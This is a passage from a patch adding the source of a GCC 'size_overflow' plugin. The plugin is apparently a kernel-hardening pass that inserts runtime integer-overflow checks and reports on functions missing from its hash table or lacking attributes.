expand_location(DECL_SOURCE_LOCATION(current_function_decl)); ++ } ++ ++ loc_line = build_int_cstu(unsigned_type_node, xloc.line); ++ ++ loc_file = build_string(strlen(xloc.file) + 1, xloc.file); ++ loc_file = create_string_param(loc_file); ++ ++ current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl)); ++ current_func = create_string_param(current_func); ++ ++ snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max"); ++ ssa_name = build_string(256, ssa_name_buf); ++ ssa_name = create_string_param(ssa_name); ++ ++ // void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name) ++ func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name); ++ ++ gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING); ++} ++ ++static void __unused print_the_code_insertions(const_gimple stmt) ++{ ++ location_t loc = gimple_location(stmt); ++ ++ inform(loc, "Integer size_overflow check applied here."); ++} ++ ++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min) ++{ ++ basic_block cond_bb, join_bb, bb_true; ++ edge e; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ ++ cond_bb = gimple_bb(stmt); ++ if (before) ++ gsi_prev(&gsi); ++ if (gsi_end_p(gsi)) ++ e = split_block_after_labels(cond_bb); ++ else ++ e = split_block(cond_bb, gsi_stmt(gsi)); ++ cond_bb = e->src; ++ join_bb = e->dest; ++ e->flags = EDGE_FALSE_VALUE; ++ e->probability = REG_BR_PROB_BASE; ++ ++ bb_true = create_empty_bb(cond_bb); ++ make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE); ++ make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE); ++ make_edge(bb_true, join_bb, EDGE_FALLTHRU); ++ ++ if (dom_info_available_p(CDI_DOMINATORS)) { ++ set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb); ++ set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb); ++ } ++ ++ if (current_loops != NULL) { ++ gcc_assert(cond_bb->loop_father == join_bb->loop_father); ++ add_bb_to_loop(bb_true, cond_bb->loop_father); ++ } ++ ++ insert_cond(cond_bb, arg, cond_code, type_value); ++ insert_cond_result(bb_true, stmt, arg, min); ++ ++// print_the_code_insertions(stmt); ++} ++ ++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before) ++{ ++ const_tree rhs_type = TREE_TYPE(rhs); ++ tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min; ++ ++ gcc_assert(rhs_type != NULL_TREE); ++ if (TREE_CODE(rhs_type) == POINTER_TYPE) ++ return; ++ ++ gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE); ++ ++ type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type)); ++ type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type)); ++ ++ gcc_assert(!TREE_OVERFLOW(type_max)); ++ ++ cast_rhs_type = TREE_TYPE(cast_rhs); ++ type_max_type = TREE_TYPE(type_max); ++ type_min_type = TREE_TYPE(type_min); ++ gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type)); ++ gcc_assert(useless_type_conversion_p(type_max_type, type_min_type)); ++ ++ insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false); ++ insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true); ++} ++ ++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs) ++{ ++ gimple change_rhs_def_stmt; ++ tree lhs = gimple_get_lhs(def_stmt); ++ tree lhs_type = TREE_TYPE(lhs); ++ tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt)); ++ tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt)); ++ ++ if (change_rhs == NULL_TREE) ++ return get_size_overflow_type(def_stmt, lhs); ++ ++ change_rhs_def_stmt = get_def_stmt(change_rhs); ++ ++ if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) { ++ debug_gimple_stmt(def_stmt); ++ gcc_unreachable(); ++ } ++ ++ return get_size_overflow_type(def_stmt, lhs); ++} ++ ++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs) ++{ ++ if (gimple_assign_rhs_code(stmt) == MIN_EXPR) ++ return false; ++ if (!is_gimple_constant(rhs)) ++ return false; ++ return true; ++} ++ ++static tree get_cast_def_stmt_rhs(const_tree new_rhs) ++{ ++ gimple def_stmt; ++ ++ def_stmt = get_def_stmt(new_rhs); ++ // get_size_overflow_type ++ if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode)) ++ gcc_assert(gimple_assign_cast_p(def_stmt)); ++ return gimple_assign_rhs1(def_stmt); ++} ++ ++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs) ++{ ++ gimple_stmt_iterator gsi; ++ const_gimple cast_stmt; ++ gimple def_stmt; ++ enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs)); ++ ++ if (mode != TImode && mode != DImode) { ++ def_stmt = get_def_stmt(new_rhs); ++ gcc_assert(gimple_assign_cast_p(def_stmt)); ++ new_rhs = gimple_assign_rhs1(def_stmt); ++ mode = TYPE_MODE(TREE_TYPE(new_rhs)); ++ } ++ ++ gcc_assert(mode == TImode || mode == DImode); ++ ++ if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node)) ++ return new_rhs; ++ ++ gsi = gsi_for_stmt(stmt); ++ cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ new_rhs = gimple_get_lhs(cast_stmt); ++ ++ if (mode == DImode) ++ return new_rhs; ++ ++ check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT); ++ ++ return new_rhs; ++} ++ ++static bool is_an_integer_trunction(const_gimple stmt) ++{ ++ gimple rhs1_def_stmt, rhs2_def_stmt; ++ const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1; ++ enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode; ++ const_tree rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs2 = gimple_assign_rhs2(stmt); ++ enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1)); ++ enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2)); ++ ++ if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2)) ++ return false; ++ ++ gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME); ++ ++ if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode) ++ return false; ++ ++ rhs1_def_stmt = get_def_stmt(rhs1); ++ rhs2_def_stmt = get_def_stmt(rhs2); ++ if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt)) ++ return false; ++ ++ rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt); ++ rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt); ++ rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1)); ++ rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1)); ++ if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode) ++ return false; ++ ++ gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true); ++ gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true); ++ return true; ++} ++ ++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs) ++{ ++ tree new_rhs1, new_rhs2; ++ tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs; ++ tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type; ++ gimple assign, stmt = get_def_stmt(lhs); ++ tree rhs1 = gimple_assign_rhs1(stmt); ++ tree rhs2 = gimple_assign_rhs2(stmt); ++ ++ if (!is_an_integer_trunction(stmt)) ++ return NULL_TREE; ++ ++ new_rhs1 = expand(visited, rhs1); ++ new_rhs2 = expand(visited, rhs2); ++ ++ new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1); ++ new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2); ++ ++ new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1); ++ new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1); ++ ++ if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) { ++ new_rhs1_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1); ++ new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1); ++ } ++ ++ assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1); ++ new_lhs = gimple_get_lhs(assign); ++ check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT); ++ ++ return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE); ++} ++ ++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs) ++{ ++ const_gimple def_stmt; ++ ++ if (TREE_CODE(rhs) != SSA_NAME) ++ return false; ++ ++ if (gimple_assign_rhs_code(stmt) != PLUS_EXPR) ++ return false; ++ ++ def_stmt = get_def_stmt(rhs); ++ if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR) ++ return false; ++ ++ return true; ++} ++ ++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2) ++{ ++ tree new_rhs, size_overflow_type, orig_rhs; ++ void (*gimple_assign_set_rhs)(gimple, tree); ++ tree rhs1 = gimple_assign_rhs1(stmt); ++ tree rhs2 = gimple_assign_rhs2(stmt); ++ tree lhs = gimple_get_lhs(stmt); ++ ++ if (change_rhs == NULL_TREE) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ if (new_rhs2 == NULL_TREE) { ++ size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1); ++ new_rhs2 = cast_a_tree(size_overflow_type, rhs2); ++ orig_rhs = rhs1; ++ gimple_assign_set_rhs = &gimple_assign_set_rhs1; ++ } else { ++ size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2); ++ new_rhs1 = cast_a_tree(size_overflow_type, rhs1); ++ orig_rhs = rhs2; ++ gimple_assign_set_rhs = &gimple_assign_set_rhs2; ++ } ++ ++ change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT); ++ ++ if (check_overflow) ++ check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT); ++ ++ new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs); ++ gimple_assign_set_rhs(stmt, new_rhs); ++ update_stmt(stmt); ++ ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++} ++ ++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ tree rhs1, rhs2, new_lhs; ++ gimple def_stmt = get_def_stmt(lhs); ++ tree new_rhs1 = NULL_TREE; ++ tree new_rhs2 = NULL_TREE; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ ++ /* no DImode/TImode division in the 32/64 bit kernel */ ++ switch (gimple_assign_rhs_code(def_stmt)) { ++ case RDIV_EXPR: ++ case TRUNC_DIV_EXPR: ++ case CEIL_DIV_EXPR: ++ case FLOOR_DIV_EXPR: ++ case ROUND_DIV_EXPR: ++ case TRUNC_MOD_EXPR: ++ case CEIL_MOD_EXPR: ++ case FLOOR_MOD_EXPR: ++ case ROUND_MOD_EXPR: ++ case EXACT_DIV_EXPR: ++ case POINTER_PLUS_EXPR: ++ case BIT_AND_EXPR: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ default: ++ break; ++ } ++ ++ new_lhs = handle_integer_truncation(visited, lhs); ++ if (new_lhs != NULL_TREE) ++ return new_lhs; ++ ++ if (TREE_CODE(rhs1) == SSA_NAME) ++ new_rhs1 = expand(visited, rhs1); ++ if (TREE_CODE(rhs2) == SSA_NAME) ++ new_rhs2 = expand(visited, rhs2); ++ ++ if (is_a_neg_overflow(def_stmt, rhs2)) ++ return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE); ++ if (is_a_neg_overflow(def_stmt, rhs1)) ++ return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2); ++ ++ if (is_a_constant_overflow(def_stmt, rhs2)) ++ return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE); ++ if (is_a_constant_overflow(def_stmt, rhs1)) ++ return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2); ++ ++ return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE); ++} ++ ++#if BUILDING_GCC_VERSION >= 4007 ++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs) ++{ ++ if (is_gimple_constant(rhs)) ++ return cast_a_tree(size_overflow_type, rhs); ++ if (TREE_CODE(rhs) != SSA_NAME) ++ return NULL_TREE; ++ return expand(visited, rhs); ++} ++ ++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type; ++ gimple def_stmt = get_def_stmt(lhs); ++ ++ size_overflow_type = get_size_overflow_type(def_stmt, lhs); ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ rhs3 = gimple_assign_rhs3(def_stmt); ++ new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1); ++ new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2); ++ new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3); ++ ++ return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3); ++} ++#endif ++ ++static tree get_size_overflow_type(gimple stmt, const_tree node) ++{ ++ const_tree type; ++ ++ gcc_assert(node != NULL_TREE); ++ ++ type = TREE_TYPE(node); ++ ++ if (gimple_plf(stmt, MY_STMT)) ++ return TREE_TYPE(node); ++ ++ switch (TYPE_MODE(type)) { ++ case QImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node; ++ case HImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node; ++ case SImode: ++ return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node; ++ case DImode: ++ if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode)) ++ return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node; ++ return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node; ++ default: ++ debug_tree((tree)node); ++ error("%s: unsupported gcc configuration.", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static tree expand_visited(gimple def_stmt) ++{ ++ const_gimple next_stmt; ++ gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt); ++ ++ gsi_next(&gsi); ++ next_stmt = gsi_stmt(gsi); ++ ++ gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT)); ++ ++ switch (gimple_code(next_stmt)) { ++ case GIMPLE_ASSIGN: ++ return gimple_get_lhs(next_stmt); ++ case GIMPLE_PHI: ++ return gimple_phi_result(next_stmt); ++ case GIMPLE_CALL: ++ return gimple_call_lhs(next_stmt); ++ default: ++ return NULL_TREE; ++ } ++} ++ ++static tree expand(struct pointer_set_t *visited, tree lhs) ++{ ++ gimple def_stmt; ++ enum tree_code code = TREE_CODE(TREE_TYPE(lhs)); ++ ++ if (is_gimple_constant(lhs)) ++ return NULL_TREE; ++ ++ if (TREE_CODE(lhs) == ADDR_EXPR) ++ return NULL_TREE; ++ ++ if (code == REAL_TYPE) ++ return NULL_TREE; ++ ++ gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE); ++ ++ ++ def_stmt = get_def_stmt(lhs); ++ ++ if (!def_stmt) ++ return NULL_TREE; ++ ++ if (gimple_plf(def_stmt, MY_STMT)) ++ return lhs; ++ ++ if (pointer_set_contains(visited, def_stmt)) ++ return expand_visited(def_stmt); ++ ++ switch (gimple_code(def_stmt)) { ++ case GIMPLE_NOP: ++ return NULL_TREE; ++ case GIMPLE_PHI: ++ return build_new_phi(visited, lhs); ++ case GIMPLE_CALL: ++ case GIMPLE_ASM: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ case GIMPLE_ASSIGN: ++ switch (gimple_num_ops(def_stmt)) { ++ case 2: ++ return handle_unary_ops(visited, lhs); ++ case 3: ++ return handle_binary_ops(visited, lhs); ++#if BUILDING_GCC_VERSION >= 4007 ++ case 4: ++ return handle_ternary_ops(visited, lhs); ++#endif ++ } ++ default: ++ debug_gimple_stmt(def_stmt); ++ error("%s: unknown gimple code", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree origtype = TREE_TYPE(origarg); ++ ++ gcc_assert(gimple_code(stmt) == GIMPLE_CALL); ++ ++ assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ ++ gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign)); ++ update_stmt(stmt); ++} ++ ++static bool get_function_arg(unsigned int* argnum, const_tree fndecl) ++{ ++ const char *origid; ++ tree arg; ++ const_tree origarg; ++ ++ if (!DECL_ABSTRACT_ORIGIN(fndecl)) ++ return true; ++ ++ origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl)); ++ while (origarg && *argnum) { ++ (*argnum)--; ++ origarg = TREE_CHAIN(origarg); ++ } ++ ++ gcc_assert(*argnum == 0); ++ ++ gcc_assert(origarg != NULL_TREE); ++ origid = NAME(origarg); ++ *argnum = 0; ++ for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) { ++ if (!strcmp(origid, NAME(arg))) ++ return true; ++ (*argnum)++; ++ } ++ return false; ++} ++ ++static bool skip_types(const_tree var) ++{ ++ switch (TREE_CODE(var)) { ++ case ADDR_EXPR: ++#if BUILDING_GCC_VERSION >= 4006 ++ case MEM_REF: ++#endif ++ case ARRAY_REF: ++ case BIT_FIELD_REF: ++ case INDIRECT_REF: ++ case TARGET_MEM_REF: ++ case VAR_DECL: ++ return true; ++ default: ++ break; ++ } ++ return false; ++} ++ ++static bool walk_phi(struct pointer_set_t *visited, const_tree result) ++{ ++ gimple phi = get_def_stmt(result); ++ unsigned int i, n = gimple_phi_num_args(phi); ++ ++ if (!phi) ++ return false; ++ ++ pointer_set_insert(visited, phi); ++ for (i = 0; i < n; i++) { ++ const_tree arg = gimple_phi_arg_def(phi, i); ++ if (pre_expand(visited, arg)) ++ return true; ++ } ++ return false; ++} ++ ++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs) ++{ ++ gimple def_stmt = get_def_stmt(lhs); ++ const_tree rhs; ++ ++ if (!def_stmt) ++ return false; ++ ++ rhs = gimple_assign_rhs1(def_stmt); ++ if (pre_expand(visited, rhs)) ++ return true; ++ return false; ++} ++ ++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs) ++{ ++ bool rhs1_found, rhs2_found; ++ gimple def_stmt = get_def_stmt(lhs); ++ const_tree rhs1, rhs2; ++ ++ if (!def_stmt) ++ return false; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ rhs1_found = pre_expand(visited, rhs1); ++ rhs2_found = pre_expand(visited, rhs2); ++ ++ return rhs1_found || rhs2_found; ++} ++ ++static const_tree search_field_decl(const_tree comp_ref) ++{ ++ const_tree field = NULL_TREE; ++ unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref); ++ ++ for (i = 0; i < len; i++) { ++ field = TREE_OPERAND(comp_ref, i); ++ if (TREE_CODE(field) == FIELD_DECL) ++ break; ++ } ++ gcc_assert(TREE_CODE(field) == FIELD_DECL); ++ return field; ++} ++ ++static enum marked mark_status(const_tree fndecl, unsigned int argnum) ++{ ++ const_tree attr, p; ++ ++ attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl)); ++ if (!attr || !TREE_VALUE(attr)) ++ return MARKED_NO; ++ ++ p = TREE_VALUE(attr); ++ if (!TREE_INT_CST_LOW(TREE_VALUE(p))) ++ return MARKED_NOT_INTENTIONAL; ++ ++ do { ++ if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p))) ++ return MARKED_YES; ++ p = TREE_CHAIN(p); ++ } while (p); ++ ++ return MARKED_NO; ++} ++ ++static void print_missing_msg(tree func, unsigned int argnum) ++{ ++ unsigned int new_hash; ++ size_t len; ++ unsigned char tree_codes[CODES_LIMIT]; ++ location_t loc = DECL_SOURCE_LOCATION(func); ++ const char *curfunc = get_asm_name(func); ++ ++ len = get_function_decl(func, tree_codes); ++ new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0); ++ inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash); ++} ++ ++static unsigned int search_missing_attribute(const_tree arg) ++{ ++ const_tree type = TREE_TYPE(arg); ++ tree func = get_original_function_decl(current_function_decl); ++ unsigned int argnum; ++ const struct size_overflow_hash *hash; ++ ++ gcc_assert(TREE_CODE(arg) != COMPONENT_REF); ++ ++ if (TREE_CODE(type) == POINTER_TYPE) ++ return 0; ++ ++ argnum = find_arg_number(arg, func); ++ if (argnum == 0) ++ return 0; ++ ++ if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func))) ++ return argnum; ++ ++ hash = get_function_hash(func); ++ if (!hash || !(hash->param & (1U << argnum))) { ++ print_missing_msg(func, argnum); ++ return 0; ++ } ++ return argnum; ++} ++ ++static bool is_already_marked(const_tree lhs) ++{ ++ unsigned int argnum; ++ const_tree fndecl; ++ ++ argnum = search_missing_attribute(lhs); ++ fndecl = get_original_function_decl(current_function_decl); ++ if (argnum && mark_status(fndecl, argnum) == MARKED_YES) ++ return true; ++ return false; ++} ++ ++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs) ++{ ++ const_gimple def_stmt; ++ ++ if (is_gimple_constant(lhs)) ++ return false; ++ ++ if (skip_types(lhs)) ++ return false; ++ ++ if (TREE_CODE(lhs) == PARM_DECL) ++ return is_already_marked(lhs); ++ ++ if (TREE_CODE(lhs) == COMPONENT_REF) { ++ const_tree field, attr; ++ ++ field = search_field_decl(lhs); ++ attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field)); ++ if (!attr || !TREE_VALUE(attr)) ++ return false; ++ return true; ++ } ++ ++ def_stmt = get_def_stmt(lhs); ++ ++ if (!def_stmt) ++ return false; ++ ++ if (pointer_set_contains(visited, def_stmt)) ++ return false; ++ ++ switch (gimple_code(def_stmt)) { ++ case GIMPLE_NOP: ++ if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL) ++ return is_already_marked(lhs); ++ return false; ++ case GIMPLE_PHI: ++ return walk_phi(visited, lhs); ++ case GIMPLE_CALL: ++ case GIMPLE_ASM: ++ return false; ++ case GIMPLE_ASSIGN: ++ switch (gimple_num_ops(def_stmt)) { ++ case 2: ++ return walk_unary_ops(visited, lhs); ++ case 3: ++ return walk_binary_ops(visited, lhs); ++ } ++ default: ++ debug_gimple_stmt((gimple)def_stmt); ++ error("%s: unknown gimple code", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum) ++{ ++ struct pointer_set_t *visited; ++ bool is_found; ++ enum marked is_marked; ++ location_t loc; ++ ++ visited = pointer_set_create(); ++ is_found = pre_expand(visited, arg); ++ pointer_set_destroy(visited); ++ ++ is_marked = mark_status(fndecl, argnum + 1); ++ if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL) ++ return true; ++ ++ if (is_found) { ++ loc = DECL_SOURCE_LOCATION(fndecl); ++ inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1); ++ return true; ++ } ++ return false; ++} ++ ++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum) ++{ ++ struct pointer_set_t *visited; ++ tree arg, newarg; ++ bool match; ++ ++ match = get_function_arg(&argnum, fndecl); ++ if (!match) ++ return; ++ gcc_assert(gimple_call_num_args(stmt) > argnum); ++ arg = gimple_call_arg(stmt, argnum); ++ if (arg == NULL_TREE) ++ return; ++ ++ if (is_gimple_constant(arg)) ++ return; ++ ++ if (search_attributes(fndecl, arg, argnum)) ++ return; ++ ++ if (TREE_CODE(arg) != SSA_NAME) ++ return; ++ ++ check_arg_type(arg); ++ ++ visited = pointer_set_create(); ++ newarg = expand(visited, arg); ++ pointer_set_destroy(visited); ++ ++ if (newarg == NULL_TREE) ++ return; ++ ++ change_function_arg(stmt, arg, argnum, newarg); ++ ++ check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT); ++} ++ ++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl) ++{ ++ tree p = TREE_VALUE(attr); ++ do { ++ handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1); ++ p = TREE_CHAIN(p); ++ } while (p); ++} ++ ++static void handle_function_by_hash(gimple stmt, tree fndecl) ++{ ++ tree orig_fndecl; ++ unsigned int num; ++ const struct size_overflow_hash *hash; ++ ++ orig_fndecl = get_original_function_decl(fndecl); ++ if (C_DECL_IMPLICIT(orig_fndecl)) ++ return; ++ hash = get_function_hash(orig_fndecl); ++ if (!hash) ++ return; ++ ++ for (num = 1; num <= MAX_PARAM; num++) ++ if (hash->param & (1U << num)) ++ handle_function_arg(stmt, fndecl, num - 1); ++} ++ ++static void set_plf_false(void) ++{ ++ basic_block bb; ++ ++ FOR_ALL_BB(bb) { ++ gimple_stmt_iterator si; ++ ++ for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si)) ++ gimple_set_plf(gsi_stmt(si), MY_STMT, false); ++ for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si)) ++ gimple_set_plf(gsi_stmt(si), MY_STMT, false); ++ } ++} ++ ++static unsigned int handle_function(void) ++{ ++ basic_block next, bb = ENTRY_BLOCK_PTR->next_bb; ++ ++ set_plf_false(); ++ ++ do { ++ gimple_stmt_iterator gsi; ++ next = bb->next_bb; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ tree fndecl, attr; ++ gimple stmt = gsi_stmt(gsi); ++ ++ if (!(is_gimple_call(stmt))) ++ continue; ++ fndecl = gimple_call_fndecl(stmt); ++ if (fndecl == NULL_TREE) ++ continue; ++ if (gimple_call_num_args(stmt) == 0) ++ continue; ++ attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl)); ++ if (!attr || !TREE_VALUE(attr)) ++ handle_function_by_hash(stmt, fndecl); ++ else ++ handle_function_by_attribute(stmt, attr, fndecl); ++ gsi = gsi_for_stmt(stmt); ++ next = gimple_bb(stmt)->next_bb; ++ } ++ bb = next; ++ } while (bb); ++ return 0; ++} ++ ++static struct gimple_opt_pass size_overflow_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "size_overflow", ++ .gate = NULL, ++ .execute = handle_function, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_cfg | PROP_referenced_vars, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow ++ } ++}; ++ ++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data) ++{ ++ tree fntype; ++ ++ const_char_ptr_type_node = 